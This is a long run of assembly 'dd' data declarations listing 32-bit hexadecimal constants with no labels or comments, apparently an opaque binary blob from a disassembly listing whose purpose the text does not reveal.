dd 5360DDDh, 2F1C5BF8h, 0A905030Ch, 0ED50C921h, 3D128808h
dd 0F264172Ch, 0F09F70D9h, 0D6C4B533h, 208B5126h, 0A9811002h
dd 0B5148CB0h, 0C0331259h, 142F16C3h, 24C8F169h, 0AC445FA5h
dd 0D2684702h, 3CD49AA7h, 8D06A70h, 0B9093182h, 0C83AD38Bh
dd 0A3005D28h, 2772E3B0h, 1CD8B817h, 8146BE1Fh, 60F24D78h
dd 5955CA58h, 0EAF89670h, 203A228Dh, 0C08161B5h, 0DB679329h
dd 0B468FB03h, 1BF38519h, 6267580Fh, 95C7FE00h, 8005A1F8h
dd 0A5BA5D6Ch, 0D903DDECh, 30FF2151h, 9AE10E07h, 0F2C15ACAh
dd 6DC4CB45h, 34A90F8h, 4A1CD139h, 0C2F8EB8Ah, 0FA307733h
dd 64C5423Bh, 521301A7h, 431B966h, 9FF13A8Fh, 0C9A8AD45h
dd 8759017h, 0F8840170h, 0A4824861h, 1941414Bh, 0AB6F306Eh
dd 2960E9F5h, 70CCA715h, 77DA002Bh, 0EDF8014Eh, 0ACF4F745h
dd 92B59439h, 45409BE9h
dd 0D7AF8643h, 0A48700A6h, 9365F220h, 600F4F6h, 437F9054h
dd 32CD6F1h, 0AB583468h, 91D0E3FAh, 0CA7C63E9h, 5D7A081Fh
dd 1D07471Eh, 20CDED89h, 508C05D4h, 196FD37Fh, 83F6895h
dd 4821A6F6h, 39188C00h, 0E4530EEh, 2FD636A2h, 94CEB820h
dd 49194DECh, 0F305F35h, 96ABD341h, 0B10078BCh, 2826BCB4h
dd 4F195F45h, 0BF08AD10h, 0F854219Fh, 0C6514880h, 29703C7Dh
dd 0B95D9B30h, 361A8E6h, 0D64DE18Ah, 41F8AD8Bh, 0A200EC9Dh
dd 0F4983F60h, 0F2EFE65h, 2579FFA4h, 0F998678Eh, 4C30CE52h
dd 63EAA085h, 0E3E8A18Ah, 0E2E9D980h, 6F1AE78Ch, 6DA22614h
dd 0FEFA041Ch, 9203836Ch, 0BCE213h, 0C1674315h, 0C029DD7Fh
dd 0FAB6D625h, 0ED19B51Fh, 45080FE2h, 1D3D2181h, 0E49B61D6h
dd 870617BEh, 5273929Ch, 0A0F47789h, 30DE6098h, 2E70F7ECh
dd 0BF749429h, 0F5146F1Dh, 852FC140h, 155EFEDh, 0A86E1CC3h
dd 0F0FCABA9h, 3000B6AAh, 1D1342F3h, 1AFA3F7h, 47EBA111h
dd 6F5764D9h, 3FF174B0h, 7784ABh, 387E03ECh, 7CE78A25h
dd 738BE200h, 1D5BB9A1h, 0DD4B01E0h, 0B29E3987h, 0E4D96116h
dd 8D389011h, 1E0300C3h, 23949BC7h, 0BC60CD2h, 0E710C2F2h
dd 968E1500h, 6E56CE55h, 89CD3CFCh, 0CB149F00h, 6A0A76DDh
dd 27E8A19h, 21809B08h, 16CB1DB0h, 0E00045A0h, 0CD401C4h
dd 364330E6h, 287899D1h, 80CDFF0Fh, 9828A00Bh, 30B2F894h
dd 292082D9h, 0E5007EF4h, 0F55E505Fh, 19B4715h, 0FFE887DFh
dd 8B91A613h, 80B68940h, 630F2CC3h, 178A1922h, 8E9808B3h
dd 6F41D421h, 4E68807Dh, 3CDB2060h, 2808E67h, 0F1A0919Bh
dd 6948CE40h, 75B0F23h, 0C0CFC0EEh, 779E860h, 0FFEB6216h
dd 0E17B30E5h, 3A008086h, 90CA1E7Ch, 1DD6E836h, 0BD850A8h
dd 1880D418h, 727EDA5Ch, 3EBD300h, 5367AA82h, 0A5580075h
dd 3163F850h, 97007D3Fh, 95FE4028h, 9FF77Ch, 334E72Bh
dd 0B1F40201h, 2C9A7E00h, 6A359252h, 0CA091CD5h, 0EE8408Fh
dd 4E228DAEh, 0FB69AD03h, 982FF7ACh, 3EE33Bh, 6F8C7204h
dd 974E36F1h, 0C77E241Eh, 0AED6E2C7h, 997C83h, 46E5AA10h
dd 1D6C6170h, 136FD700h, 807EBFD2h, 9B1A002Bh, 0E1C96D89h
dd 197AE5D6h, 831D9607h, 843EDABh, 0DB28815h, 19D7ECDh
dd 54B3A5Dh, 0C7C4D399h, 0A1962002h, 9E43A775h, 0C95C2320h
dd 2861630Ch, 0E4C7071Ah, 1085A258h, 0C5E80480h, 0A90F6B75h
dd 0A0BC7EB8h, 1B9FAE9Dh, 8F70A079h, 0BEA01D1Ah, 96170030h
dd 48EA333Dh, 0ACEAE03h, 30C6B692h, 76213E08h, 3800E9CBh
dd 269B73B8h, 3E2E430h, 6606D5CEh, 28A63912h, 0E8972E0Ah
dd 0A6429C8Bh, 0AB0D2103h, 17B08F2Fh, 0F370338h, 76110093h
dd 19BC5972h, 2B192689h, 9C087111h, 7A2D2180h, 48882459h
dd 39356335h, 620A8F1Fh, 7780842Ah, 0E83FF045h, 6510C3Ah
dd 73085290h, 5D5421C0h, 0FC6AF0h, 0A7676B14h, 0DCD48344h
dd 1A00917Eh, 0B3E49711h, 1486EDECh, 946C7BE8h, 8438BE23h
dd 0DEAE46EAh, 7420C462h, 94EA35h, 36E157DFh, 0ABD60D7Dh
dd 338F2E0Ah, 0B0038C9Dh, 0E155Ch, 89621D30h, 61D337F1h
dd 5B4713Ah, 32988374h, 0D1C0BD84h, 0B5E9BEh, 7E2994D7h
dd 0B196D687h, 8141A460h, 3A65111Fh, 1805B535h, 4361940Dh
dd 73B0979Ch, 7B632915h, 800F3D84h, 34D43350h, 5585F3Ch
dd 855016Bh, 5EA2C329h, 899786F9h, 8706A550h, 0B0952C83h
dd 5866BC4Eh, 188B9661h, 0E80A5E9Bh, 19C64A94h, 212BBEh
dd 25C236ACh, 0FD40BB24h, 8086224h, 9E9A7801h, 38911590h
dd 0E2160C56h, 0F004790Bh, 872C18FBh, 0BEB7B947h, 21592F60h
dd 0E924ADh, 0A396C79h, 970E9315h, 4A7549C0h, 647ED1h
dd 0BDB5405Fh, 82AD7A9Bh, 6186D63Ch, 90196352h, 807030B0h
dd 0E4788897h, 2C101B14h, 1A723FCh, 0AE49EA32h, 883818C6h
dd 0E900CA5Dh, 5289086Bh, 18BF8762h, 2122B910h, 0E8018539h
dd 0A888FD98h, 3080BDE6h, 0AB8F62D0h, 7714A7C1h, 18F8AA15h
dd 79C99408h, 9BC900B6h, 7E35B136h, 0F37ECFBEh, 4258224h
dd 113D42h, 154116E0h, 3AF81954h, 7ED3B800h, 3172A283h
dd 86A6A9Bh, 0A7DB4008h, 7803C1D3h, 0CD56133Eh, 246D9EFh
dd 12B6D040h, 376503B5h, 0ABED6618h, 0A18CC940h, 8EAEA8Ch
dd 0B36AE4Bh, 77403A64h, 0F94BE9C8h, 0EC9A942Ah, 0D07C58C7h
dd 18541237h, 1F3F233Eh, 4A80C321h, 0FC98670h, 559C509Ah
dd 0A025C42h, 3827B89Dh, 0D66CC1C1h, 41802EDDh, 2F724784h
dd 3F07835Fh, 830C835h, 80609F68h, 0A678484Ah, 20001355h
dd 0EB01D83Fh, 12E66D5Ch, 1625D540h, 0B6C2001Ch, 16E4AA97h
dd 5C46C4A4h, 73D3BD02h, 75319A83h, 0D3A4C410h, 0A60E8400h
dd 16918B86h, 0D29D09C1h, 8004BE10h, 0EBB5415Fh, 90233879h
dd 4F45D620h, 13FB1BF0h, 2291ED63h, 49300690h, 0E83311F0h
dd 8065885Ah, 0F2F04150h, 2C1268DFh, 88233F95h, 1C9DC124h
dd 584B5120h, 0E8644481h, 0D3B6605Fh, 9283237Ch, 0C5287411h
dd 7DCC0084h, 81EDA726h, 0C05899E3h, 0DD587770h, 12A92210h
dd 8626516h, 0A464C83Ch, 44EA3F60h, 0AEEAE10h, 0EA376AB0h
dd 820D40E0h, 6833CDFBh, 94CF020h, 7D22E548h, 8B47408h
dd 9B11232Bh, 78E82C4Ch, 0B22D008Ch, 0EA9D69D4h, 1631531h
dd 882837F9h, 0ED0BFC7h, 14C9994Eh, 0C4FF4865h, 0B908C095h
dd 4218DE0Ch, 6D90315Ah, 2CB89843h, 0F67491C8h, 0A0B55B00h
dd 9139D98h, 0E1D2067Dh, 0F970FA15h, 0C6B5512h, 6DE6F405h
dd 80588008h, 6C48D190h, 90C62F4Ch, 0F5203E14h, 50990811h
dd 3C1913D4h, 1684D095h, 0E82B624h, 1C459E08h, 2DE00827h
dd 4B9FA883h, 8F01B73h, 80064165h, 0E52D307Bh, 2C23F929h
dd 0C03276A2h, 164214Bh, 1B7D0DC8h, 717663D2h, 1B7C33D0h
dd 0C1791166h, 41AC1BE5h, 338108B4h, 4AA80C03h, 0E11FF3A7h
dd 9473722Ah, 2D3032A2h, 8CDB1CAAh, 0C50900BFh, 0D38FAB54h
dd 7569D117h, 0CA2E800h, 2B9FA1h, 8B5D0992h, 0AAED29D5h
dd 48D040EFh, 0B800D04Dh, 0C66E2B37h, 762D99F5h, 4D70392h
dd 0A6CEDA15h, 0E38F4006h, 0E858077Bh, 0F990FECh, 0BFE7206Dh
dd 0A303871Bh, 0E0583C85h, 0ECA10BCh, 0BF5905C0h, 448C7119h
dd 6D405689h, 991F1D73h, 8F4E8F78h, 13E47A8Ah, 86400462h
dd 82F53274h, 0C3459A8h, 0AC5197A8h, 75F841C4h, 90EE0249h
dd 0AB842CA8h, 0A704C0C4h, 0E1E4000Bh, 0C41B5DDBh, 30C0434Ch
dd 0D68177FFh, 8FA83E41h, 0B803A4DDh, 718BD213h, 841A6001h
dd 339FB099h, 172000CBh, 0B9CA3E22h, 9239DD1Bh, 0E8686029h
dd 0A038BAEDh, 0FFA2B4h, 4C1F484h, 3278C316h, 0F2E5AA0Ch
dd 1C1D2075h, 29467DD6h, 0FB7DE220h, 78FDE830h, 336D80BEh
dd 60D6E226h, 1C18F774h, 0D0902600h, 0FA63D8Fh, 0EECCA881h
dd 53150064h, 0FA3EC92Eh, 510EED07h, 64BD0EE2h, 0E0C09A28h
dd 2A96493Dh, 18B07A62h, 2C77F238h, 370033A4h, 0E3C98360h
dd 0F4AD8D94h, 0E27E0019h, 0A1EEB257h, 42060543h, 3CDF59B6h
dd 63130040h, 845B5D1Bh, 4899812Ch, 88E7B500h, 1499B927h
dd 0C8170FAAh, 76D09B01h, 3084B253h, 0CAC15DBCh, 2A028C15h
dd 3A071430h, 80016BEh, 0A0D450C0h, 8F1FCBE9h, 18A491F5h
dd 51DBD08h, 0C7293117h, 1E1B25F3h, 210493ACh, 0E8A08810h
dd 0CCFD1AD2h, 80D070E3h
dd 30B400E4h, 0A7091D9Bh, 54E41Fh, 7405928Bh, 18335CB6h
dd 545D1C26h, 1600461Eh, 0E387A8A7h, 0B2AF8091h, 2196AB00h
dd 6CFA384Ah, 3DDA0067h, 90865FD2h, 9EEAE09Dh, 9D48353Eh
dd 0E81836A6h, 7BA82121h, 4388039Dh, 55ECF08Bh, 0E64AA1h
dd 1DDE956Fh, 80586AC6h, 0E7F036B3h, 351D5F0Bh, 2830DCC2h
dd 1A1FD32h, 0FAC36A9Dh, 8C0B52F9h, 205C3A08h, 0A1F40011h
dd 8C1B39D2h, 0B6005EDEh, 3E206B83h, 5724E4h, 0D7EBDB4Ah
dd 0D1FA5123h, 0AB18E6E2h, 3F89488Ah, 64390028h, 0D5862AB6h
dd 99741ADEh, 9213760h, 683930h, 58E051BBh, 25136484h
dd 0E6E960D8h, 912F60C2h, 85B996A3h, 0C84BB800h, 0BA6CEC3Ch
dd 1F387619h, 292F77CDh, 1824D174h, 0BE7A00E5h, 0A05E812Fh
dd 57186393h, 5CE0F86Ah, 248B3074h, 0CFD24398h, 0D1F9BE18h
dd 179DD60h, 16632F88h, 987ADA28h, 0FD21D309h, 0D2880361h
dd 0CCE17B4Fh, 63270EB0h, 39D6A31Bh, 2F601051h, 9260053Bh
dd 50C0CB50h, 76C280h, 0DC1235FAh, 0F9797A0Ah, 801EED3Dh
dd 5C47E831h, 113C1E5h, 838C755Fh, 0D153C2B7h, 2AB1E0CCh
dd 0D1BFC300h, 5623AB12h, 0D96B010Ch, 744CB8F0h, 8093ED01h
dd 0CE4EF618h, 0F8C279DEh, 100A636Ch, 0F0C04D83h, 0D66FFB18h
dd 0FED12328h, 296100A4h, 0A6E0DC1Fh, 0F8E77C89h, 2C1E7FBEh
dd 0A1C33356h, 0C8D65381h, 0E6C33875h, 0CE25315Ch, 17786E28h
dd 0F70FE20h, 0EC7F13B8h, 0A35B0C80h, 1C0D3878h, 0D1CA4871h
dd 0A0EB1C0Ch, 0C7EC3574h, 0FFE008C0h, 1F28E561h, 744C40DEh
dd 0AC611321h, 380F1CC0h, 0B8DEB890h, 543E883Dh, 38ED1900h
dd 16EAEF7Dh, 13C00CCBh, 8320CDABh, 0DC3C8C03h, 24CC40h
dd 5F77E1A8h, 0D9BB0B2Ch, 0DAEB8A18h, 0F61C0B1h, 9F5B805h
dd 0EEC0552Eh, 0E3B35433h, 51D5D431h, 88E73EBh, 31A30CCCh
dd 70E0774Ch, 0B50149h, 0CB52EB11h, 943C007Bh, 0D1270C84h
dd 78C0E0B1h, 0F9D60204h, 287A7120h, 33A09C12h, 0F6E9BD19h
dd 41E62D91h, 0E8814D98h, 4B07ADA2h, 525D02B0h, 1465C910h
dd 70081C1Ch, 34F8C95h, 114B979h, 10247278h, 0D800E5CCh
dd 71EA1C6Eh, 0A6FCCBEBh, 0EC397728h, 4EAED501h, 4B89A210h
dd 0A08B3DF0h, 24838AB0h, 40585D7Dh, 0EB0C34BCh, 0AF37D403h
dd 335FDD71h, 9321A608h, 0AC910FFh, 0CFB069A7h, 7E244EECh
dd 0D10D1851h, 0A8D828F6h, 0D57A032Eh, 2BFA0E16h, 0ACA9787Ch
dd 0ABE1D06Eh, 0D6AC08A0h, 4A371200h, 439FB799h, 61F2B031h
dd 0EE8F21B9h, 0BBF4C412h, 4F9CB406h, 0A070A4E6h, 80B54BA0h
dd 0E018C325h, 63599C0Bh, 0FBB00005h, 5011070Ah, 8CD8F02h
dd 7DC42179h, 0EB2C00B0h, 931F24A4h, 4548B862h, 0BAC21080h
dd 0BB391473h, 645030BCh, 400FDC7h, 400C1B03h, 0EEDA0510h
dd 0CB8D007Fh, 8AC63AACh, 3700EDB0h, 0D10F3F4Fh, 75680B9Fh
dd 0AB630092h, 22F894BDh, 380033F3h, 0DE21E581h, 2982C7Dh
dd 71E3274Dh, 96401D6Eh, 0DA004FF9h, 10B5C1D0h, 487CD4h
dd 8BAFB72Eh, 0EF9B6F4Ch, 9007C613h, 5C381700h, 0FC20C58Dh
dd 953C00D3h, 23F94E50h, 16058BD6h, 8C64F690h, 0B1CB8100h
dd 18AF79h, 17C67F1Bh, 8BD16FB7h, 45167C06h, 2061B2h, 51352EBCh
dd 506224C5h, 9C591A05h, 7CC07530h, 7C7A7D04h, 734A7815h
dd 16AF00BFh, 0CC17DDC6h, 68061C54h, 8CF87F7Eh, 0D0D100B0h
dd 5E895CDFh, 0CB07C4C7h, 9F4A6C12h, 8014CC9Eh, 54901C4Ch
dd 800A00Bh, 0E758694Bh, 6C3147Ch, 68923391h, 520F7883h
dd 0E0C0482Ch, 511F9BFAh, 0CE6B031Ch, 0AABE18D1h, 0A29447EDh
dd 406346FEh, 696D9530h, 1C4E65F7h, 0C1995403h, 5ACDA30h
dd 1960C4B6h, 96008CFAh, 0DBF8EC2Eh, 3C66A773h, 0F1806739h
dd 114B2116h, 0EE07D787h, 9DE315C1h, 273D1B80h, 80D3008Fh
dd 0D93A95D6h, 8C79AB32h, 33C43000h, 98533E1Fh, 0DB133C47h
dd 6FD6100h, 0E05B3816h, 0F3C00C0Eh, 1CCA86E7h, 0A57A0020h
dd 543DB807h, 0C400B7EAh, 0BB2EEC92h, 0FB1C19B1h, 0B2338080h
dd 41306BB0h, 738E1304h, 990EEFF1h, 5CE0489Bh, 93005B29h
dd 0C03C098Bh, 50466Fh, 0B982FA5Ah, 776937B2h, 0E4505D60h
dd 0C1C6A298h, 0E8C49538h, 7AC1BC99h, 754DBB2Ch, 0BE2C5801h
dd 89880BFh, 52F469E0h, 497E4D07h, 0ED809311h, 30ECB4C1h
dd 4CB8ABD5h, 0AF0372A2h, 0B1B554A3h, 448DE16Fh, 50EE8850h
dd 0B99E0A0Eh, 0D1C4CDh, 96304DDAh, 60C1C714h, 86E5FB13h
dd 65E4868Fh, 8CC45C6h, 0F9809255h, 0CD06C8FDh, 7BB8D200h
dd 32D05019h, 3B41F45Ch, 28642CA4h, 717DC0DBh, 2D03B7BBh
dd 58EC7D3h, 28A3D0h, 718AF821h, 0FAF37719h, 0E8ABB600h
dd 0E23A963Fh, 8E950317h, 0C418E9D0h, 818CE900h, 2CAB6EEAh
dd 3EC0A0F9h, 77C9EE37h, 0F86F06AAh, 0A9EF17ADh, 6E21A007h
dd 0CAB74E2Eh, 0B6C436A0h, 11BF06AEh, 0F1CD178Bh, 0D149400h
dd 3B70753Dh, 0D6B0006Dh, 4ABDB11Bh, 4760CCA2h, 0C78BDB29h
dd 1CD3C7Eh, 74238315h, 5C718206h, 7489E0B7h, 91F31026h
dd 51460071h, 335D28A2h, 6F069421h, 0C5B4B38Eh, 1EF03061h
dd 0D2B00778h, 97BDBE0Eh, 0F8426B3h, 30AD1520h, 1280D48Bh
dd 1C4CFC86h, 391458Ch, 9CBB8696h, 0AA1796A0h, 0E73319C0h
dd 0E09B14Ah, 57503BB6h, 0A8165DC0h, 0B9058325h, 8FC4D3EDh
dd 9BFEB04Ah, 0B22DEC0Eh, 0C313002h, 0F4B717h, 981B90A1h
dd 0B004C9AAh, 0CF741948h, 808C8880h, 0BC4E6835h, 86E84070h
dd 0CC464DA6h, 9B019C22h, 0AA1586E0h, 0C7E116D8h, 0C4CB7CD4h
dd 90EE98B8h, 7A056698h, 4B403B00h, 9A898243h, 0B87C31h
dd 582CFA22h, 88514745h, 0B2B58606h, 0A0614CB3h, 80CA7C34h
dd 310C4A3Ch, 0A832D7E0h, 11048C8Ah, 44CFF86h, 82209062h
dd 0A3A86E9h, 0E2DCCB6Fh, 1D0284ACh, 3C9C822Ch, 2C85A492h
dd 8DAC60A2h, 0B723B971h, 0E11111Dh, 877194FAh, 5200537Ah
dd 0C92C8EBh, 1EA3856Eh, 58C90A8h, 4DB986E7h, 84A838F4h
dd 386FF00h, 72E6BFA7h, 5968066Fh, 0A846F54Bh, 5006A529h
dd 0A9182659h, 10DFF3Fh, 7B5ECE8Bh, 0A440257Dh, 2A997369h
dd 14B093A4h, 88CAE5F3h, 61C61D03h, 0FA915CC5h, 0E93C20F9h
dd 994FEA00h, 1139B531h, 79470076h, 8A70F7BEh, 2D30023Dh
dd 0A36940EEh, 58B960D5h, 97470D5Eh, 67C04500h, 0C4A881B5h
dd 2CB89BE5h, 0B78C0448h, 2EB8CE70h, 0E602C0F1h, 0C45418D7h
dd 7C3E2448h, 0FF467458h, 0EEDE6C03h, 0DFB8F056h, 79134B80h
dd 7006475Bh, 54863F8Ah, 0F85A038h, 0F29534DFh, 5D1D1A22h
dd 97BFC482h, 0D500E864h, 0AEECED0Eh, 314D452Ch, 98D8ADCDh
dd 5BC19EE3h, 3FF7F640h, 38676F2Ch, 0C23F01A7h, 9545BC87h
dd 0E104C0C5h, 0DD00F1EBh, 5DE848C1h, 637D6241h, 97457051h
dd 52330FC0h, 0DA16C101h, 53A547ECh, 40FA9860h, 4500A693h
dd 4D3AD39Fh, 78EB2129h, 98C35078h, 353F2A20h, 31B60DB8h
dd 0F81860ACh, 57F2CB38h, 0F4E23D2Ah, 9144921Ch, 8200C85Dh
dd 0E751D8A4h, 5D620C38h, 7A90D73Fh, 8A19A060h, 0D67C0Eh
dd 0BC081DC0h, 0BBAB1CA2h, 6F0C959h, 539DB238h, 2C2D18C8h
dd 0DADC18BAh, 25EB9F00h, 2CF1AA1h, 0CD93BC3h, 0E128E980h
dd 73164029h, 60503160h, 9970D2h, 0D36A1A8Fh, 79043498h
dd 80AB873Bh, 35276D2Bh, 18BEC1A6h, 189BB742h, 200748CBh
dd 0A151CACCh
dd 187DB4C2h, 5044CF54h, 0EBE086B9h, 0C5518A1h, 0CE9518Ch
dd 5E012ED2h, 0F0523465h, 0C2030DCh, 4870CA6h, 66A0C892h
dd 4D039978h, 52C9B550h, 162003DCh, 0EA0220A5h, 0C5E5022h
dd 0C98BFF06h, 9B033B39h, 6EB41BAEh, 5318C1B7h, 19B52BE0h
dd 70242098h, 21C6118Dh, 0A0B002E0h, 223E8208h, 2E00A801h
dd 0AA5A371Eh, 0D4BED58h, 9A90721Ah, 0C83EDC79h, 0E4E05C6Eh
dd 0A0018034h, 0E01F9CE0h, 5D600490h, 84F55099h, 2B59DEDDh
dd 0FE05F504h, 0F0074207h, 5C00E833h, 3B04A1h, 117206FAh
dd 0C9EB881Dh, 1D33FE38h, 0A0CB4A2h, 840F292Dh, 229D9622h
dd 6E22014Fh, 1173422Ah, 6B219F40h, 9010B508h, 765384E7h
dd 1111C74Eh, 887D1283h, 6A3D441Ah, 696F926Bh, 67C0EB1Ch
dd 901D7368h, 2A77006Ch, 44E86D64h, 62000743h, 61725480h
dd 0DF7A5187h, 88803A09h, 0A0F373E6h, 5CFA69EFh, 2EF73400h
dd 86595A3h, 8C6E0760h, 0B0D69D29h, 0EA1583C5h, 8257E900h
dd 0FACF9C19h, 72BE00F0h, 5B7CA01Eh, 740330F4h, 0B2925DFh
dd 489D8279h, 7BD43A4h, 4C2DFC0Dh, 626E4084h, 1039877h
dd 807C1044h, 0E123B85Fh, 4AB30021h, 95BB268Ah, 3D00437Eh
dd 1BB03509h, 2AB0A30h, 47FE7C9Dh, 0BC48BCA8h, 0B10086DAh
dd 0CE972751h, 0FA13575Ah, 4D930020h, 0F8533707h, 0DF00C99Ah
dd 6E679515h, 0B97DFFh, 8B43C590h, 11713584h, 8800D0FAh
dd 0D316C70Dh, 0B81A3Fh, 985E70FCh, 2717C5D7h, 5CE2613Dh
dd 0CB060056h, 3C6A2473h, 0A9B600C8h, 588527F2h, 67000188h
dd 795F8BB7h, 8E498Fh, 0D5E2A852h, 46FBEC86h, 57D0CB00h
dd 5B8F9070h, 2A790782h, 7296D40h, 6537908Eh, 300CE67h
dd 7B59634Dh, 0C197C6h, 0D4A7FE23h, 9C719BF1h, 8A8C8000h
dd 22E9BFA0h, 8E7154h, 0DF25B683h, 0D0C5C2CDh, 29D2F600h
dd 2BBF317h, 7FFD004Dh, 1585698Bh, 0B6F88A2Ch, 18F77600h
dd 0C90ED245h, 947301E2h, 0E12255E3h, 0FC31A5h, 4D96DE4h
dd 0C067F300h, 0C266F619h, 64CC001Fh, 58E803C6h, 0CD001ECFh
dd 49B1DBF3h, 3BD098Bh, 0B0CC8844h, 87C892Ch, 0AFE18300h
dd 0BDAADAB8h, 5CE0031h, 0E911749Dh, 9A702807h, 561E4D00h
dd 0A18E8648h, 0F9CD0F9Fh, 0EE40B8E0h, 0C43645Ch, 0F812D100h
dd 18165751h, 8D6714B7h, 8E00E46Bh, 0C3754F9Ah, 7007B79h
dd 0C598154Dh, 2470392Fh, 7048BC18h, 89249A60h, 5B013272h
dd 4AED54A5h, 0F375024h, 1FA7E59h, 0E5EFECA0h, 120C9769h
dd 302CCC50h, 57D71D52h, 0A92002Dh, 0F2E80F79h, 9629700h
dd 213BE780h, 44864C85h, 289AC200h, 766B2CBDh, 188F4B00h
dd 0BE366AA7h, 0EB2B38E9h, 676EDC00h, 39D33BE0h, 594BA00h
dd 5D5BAD58h, 92CC0064h, 97894210h, 0DC0995E7h, 80C565B3h
dd 6E7FB541h, 400700E4h, 0D6E253AEh, 0BA01717Bh, 0AB560672h
dd 0D3E80Bh, 49F40548h, 0C62BDB4Dh, 8093D93Dh, 8D6DA6A5h
dd 576EB7Ch, 4050B383h, 0BDBC090Bh, 8E6B0C81h, 659C400Eh
dd 1D006DA9h, 0C7273ACBh, 0E31E86h, 0F0F49DC0h, 19774123h
dd 1638240Eh, 0E7D5E057h, 71565A35h, 20EA0330h, 7492DF84h
dd 0DE887093h, 310727F4h, 0E2363BFBh, 1753C2FFh, 0DBDC009Bh
dd 0FE1CEAE5h, 0DF40E9EEh, 0F5EFE7E8h, 0E313009Ch, 0ECE4A989h
dd 0C23BC46Ah, 0DA3E7086h, 0D3078DF9h, 3CF00981h, 0FC770409h
dd 0C1EA2175h, 0E4B5DC80h, 1F09C31Dh, 38B17D18h, 98E858h
dd 8BF92238h, 2DB3789Dh, 7B00137Bh, 0D0EC16DFh, 0C2FF52h
dd 214BC4FEh, 4F442E7Eh, 0DF51F200h, 0D1A1F47Bh, 858A01A8h
dd 3EFC2CF0h, 0CA5D8D6h, 0C3EC6904h, 2483B6DFh, 6455F08Fh
dd 990400BFh, 5A12AD10h, 4490681Ch, 33D4721Ch, 9CF17087h
dd 0C8A246D2h, 28222770h, 48949F3Fh, 738309Dh, 1DC54785h
dd 0BFC0059h, 587B99F7h, 0D3ECFF70h, 8E7E360Ch, 1CE1E86Ch
dd 0C04B1DDEh, 9ECF9D56h, 0DC00E8CDh, 0A5ED6FA6h, 38220F4h
dd 776A30Ch, 0BBA0705Eh, 0D4FE3129h, 0B201E204h, 60801C96h
dd 974FEh, 4DA51A25h, 0F99FFA2h, 9F5DE501h, 6A26D834h
dd 0ACD49F40h, 5AE0050Dh, 40C09286h, 962B99B0h, 740080EFh
dd 76844A9Dh, 1A2D16ABh, 39B887C3h, 3E7E6980h, 0E900C6B6h
dd 1526A1EBh, 1DCE42h, 0CAE8F55Bh, 3AB68618h, 19173400h
dd 0FF08EC11h, 1DD30614h, 216C6106h, 6095C800h, 0B9D65738h
dd 6F7E00A9h, 0CBE50613h, 27034D2Eh, 0BA185C76h, 0C25E90D5h
dd 0AB3600B8h, 0AA61E1F9h, 191639A5h, 2800B087h, 0E83CA7CDh
dd 46E50010h, 0BC5E8258h, 1B072CDFh, 36148517h, 0BFB3AFh
dd 1A165138h, 86003D31h, 0C4D7C299h, 0E7E145h, 0D45D5C3Fh
dd 895029F4h, 5F00CAFAh, 2836F1E4h, 3AFDF762h, 0F200083Bh
dd 650E350Bh, 0D9F89923h, 51EC4D00h, 0CC0D2695h, 53830089h
dd 0D1C3A04Eh, 0AA3F3C59h, 0D2F87827h, 0A46B3300h, 0DCCAD556h
dd 12DA0F9Dh, 584917FDh, 0A39B3900h, 0DF003250h, 0D6016E3Ch
dd 0BA57AAh, 0A0DCACE4h, 4D20064Eh, 0FCD4F604h, 2CC7E8B2h
dd 6BF435F1h, 9DA7AECh, 1DE03816h, 0E7F79400h, 180191B4h
dd 0A8ACC0EFh, 2FC0A44Ah, 98300A7h, 0B4B22588h, 6D0918E5h
dd 1F5EB9h, 0B8AE3737h, 20C5009Eh, 7B3FD241h, 5501AD02h
dd 79804F16h, 9C8E14Dh, 44E3016Dh, 0F71271DBh, 0A50C209Eh
dd 0B3499490h, 52E500E8h, 54FAE663h, 0F8E40E01h, 0EC600550h
dd 0C1FB7E57h, 5CAA4800h, 9B45D69h, 0A83B1B1Ch, 11E00971h
dd 20481535h, 592600F4h, 655451F0h, 99D4F39Bh, 0C822133Dh
dd 5614005Eh, 30AA2777h, 0CB680C00h, 75382E3Ch, 0BEF30034h
dd 0C840C499h, 0CF38C5B2h, 0D82480BDh, 300742CBh, 0A1AB0080h
dd 9B0D5904h, 0C005E0Fh, 2A4C019Ah, 3B400598h, 43009C16h
dd 0F607F727h, 8D01CFEDh, 0A0CC08F0h, 9801624h, 93A447EFh
dd 0E001EF4h, 0D9CE30D8h, 10B1D0h, 0BDE13DD7h, 2655537Fh
dd 0B84F640Eh, 0A713E01Dh, 1305094Bh, 0F4A6C95h, 0F4A01924h
dd 3FAFB8CAh, 0A677ED01h, 475B6A3Ch, 9CE6E680h, 338DD387h
dd 0EE840150h, 0F25A1B02h, 0C0032BC3h, 24238F1Ch, 0F645E7h
dd 0BEB74839h, 0F0001F93h, 96CA514Eh, 0E6206529h, 0DF6E1F4Ah
dd 0CE5E0056h, 225BF77Ah, 746F800h, 0EB8CA3C1h, 2A1E26BCh
dd 62003A20h, 3E505AFCh, 101DE9DEh, 7D7C79EEh, 0CF596C00h
dd 826FA2BCh, 6E7B2E58h, 90C8000Fh, 95D50276h, 63F2AD00h
dd 0CA4E332h, 90BE7442h, 0D57001Ch, 269907E7h, 9E045CE6h
dd 8C1AE438h, 807E68C0h, 71D9004Bh, 0FB0E0D95h, 8185E1Dh
dd 3C3A30D4h, 8DF31h, 42625165h, 25483802h, 0AFCD091Ch
dd 0E504499h, 0BE3A167Fh, 0A583C0C0h, 52509EA4h, 0E800ADBCh
dd 0AFCB9B66h, 0A9ABFFh, 5DD0592Eh, 94A7E6DEh, 8431700h
dd 4F22C8B8h, 9EA20341h, 0CC8373FCh, 8558AF80h, 0EE01BD7Eh
dd 0AE22BF4h, 0AEC87F61h, 7CEB00B6h, 117BBA4Ch, 7900C589h
dd 40BC0C03h, 4944146h, 9E42E032h, 0E560819Ah, 7830308Ch
dd 83FBD100h, 8BAD7044h, 60880073h, 0CD7279DAh, 67387E15h
dd 295580B8h, 0D6A68FCCh, 779513EEh, 0E160514h, 0C7B000D0h
dd 8A35D71Ch, 0CAD6F600h, 0C8D40BCEh, 473FCh, 0C91BF78Ch
dd 3E1F05AFh, 89AD4814h, 76A006A1h, 0F8094D3Dh, 92810B55h
dd 2E887275h, 0DFBE3FB0h, 7C00CA21h, 74C9FFB1h, 0ED402E1Ch
dd 0B0531435h, 5C15F100h
dd 0AB47E532h, 5BBDDC00h, 956ECB2Ah, 0A25D3BB2h, 0FFCA7301h
dd 80A06F7Ch, 6D4267B8h, 3C7512h, 7B1BDDC8h, 2584C3E1h
dd 94FB7800h, 0C0B7CF67h, 0C46509CCh, 0A78C707Fh, 9E00D670h
dd 8A2BE46Ah, 74A179h, 282A962h, 6D8BE7B8h, 0BDD5C400h
